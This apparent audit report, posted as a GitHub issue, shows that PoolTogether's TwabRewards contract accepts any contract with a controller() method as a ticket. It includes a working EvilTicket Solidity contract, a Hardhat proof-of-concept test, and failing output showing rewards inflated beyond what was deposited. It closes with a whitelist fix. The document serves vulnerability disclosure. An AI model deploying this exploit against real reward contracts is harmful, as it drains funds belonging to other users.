gzeon
TwabRewards check legitimacy of ticket by checking if the ticket have a controller() method.
function _requireTicket(address _ticket) internal view {
require(_ticket != address(0), "TwabRewards/ticket-not-zero-address");
(bool succeeded, bytes memory data) = address(_ticket).staticcall(
abi.encodePacked(ITicket(_ticket).controller.selector)
);
address controllerAddress;
if (data.length > 0) {
controllerAddress = abi.decode(data, (address));
}
require(succeeded && controllerAddress != address(0), "TwabRewards/invalid-ticket");
}
This allow attacker to deploy a evil ticket contract that return arbitrary getAverageBalanceBetween and getAverageTotalSuppliesBetween to drain the contract
Letβs consider a simple EvilTicket contract
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
contract EvilTicket {
address public immutable controller;
constructor(){
controller = address(1);
}
function _getAverageBalancesBetween(uint64[] memory _startTimes) internal view returns (uint256[] memory) {
uint256 startTimesLength = _startTimes.length;
uint256[] memory averageBalances = new uint256[](startTimesLength);
for (uint256 i = 0; i < startTimesLength; i++) {
averageBalances[i] = 1;
}
return averageBalances;
}
function getAverageTotalSuppliesBetween(
uint64[] calldata _startTimes,
uint64[] calldata _endTimes
) external view returns (uint256[] memory) {
return _getAverageBalancesBetween(_startTimes);
}
function getAverageBalanceBetween(
address _user,
uint64 _startTime,
uint64 _endTime
) external view returns (uint256) {
return 8;
}
}
that have a controller immutable, always return 1s for getAverageTotalSuppliesBetween and 8 for getAverageBalanceBetween
Since the reward calculation is as follow:
return (_promotion.tokensPerEpoch * _averageBalance) / _averageTotalSupplies[0];
Attacker can create a reward pointing to EvilTicket, which allow him to earn _promotion.tokensPerEpoch * 8 per epoch, POC follows:
it.only('should not be able to earn from evil promotion', async () => {
const promotionId = 1;
const epochIds = ['0','1','2'];
const wallet2Amount = toWei('750');
const wallet3Amount = toWei('250');
const totalAmount = wallet2Amount.add(wallet3Amount);
const wallet2ShareOfTickets = wallet2Amount.mul(100).div(totalAmount);
const wallet2RewardAmount = wallet2ShareOfTickets.mul(tokensPerEpoch).div(100);
const wallet2TotalRewardsAmount = wallet2RewardAmount.mul(3);
await ticket.mint(wallet2.address, wallet2Amount);
await ticket.connect(wallet2).delegate(wallet2.address);
await ticket.mint(wallet3.address, wallet3Amount);
await ticket.connect(wallet3).delegate(wallet3.address);
await createPromotion(ticket.address);
const evilTicketFactory = await getContractFactory('EvilTicket');
const evilTicket = await evilTicketFactory.deploy();
await rewardToken.mint(wallet2.address, 1);
await rewardToken.connect(wallet2).approve(twabRewards.address, 1);
await twabRewards.connect(wallet2).createPromotion(
evilTicket.address,
rewardToken.address,
1,
createPromotionTimestamp,
1,
1,
);
await increaseTime(epochDuration * 3);
await expect(twabRewards.claimRewards(wallet2.address, promotionId, epochIds))
.to.emit(twabRewards, 'RewardsClaimed')
.withArgs(promotionId, epochIds, wallet2.address, wallet2TotalRewardsAmount);
await twabRewards.claimRewards(wallet2.address, promotionId+1, [0]);
expect(await rewardToken.balanceOf(wallet2.address)).to.lte(
wallet2TotalRewardsAmount.add(1),
);
});
> TwabRewards
claimRewards()
should not be able to earn from evil promotion:
AssertionError: Expected β22500000000000000000008β to be less than or equal 22500000000000000000001
You can see wallet2 gained 8 wei with 1 wei investment. This can be easily optimized to drain all rewards. Also note that this exploit works with normal _epochId values.
Hardhat with test case in
<https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/test/TwabRewards.test.ts>
Store the legitimate controller address in the contract and use that to maintain a whitelist to check if the supplied ticket is legitimate.
The text was updated successfully, but these errors were encountered:
All reactions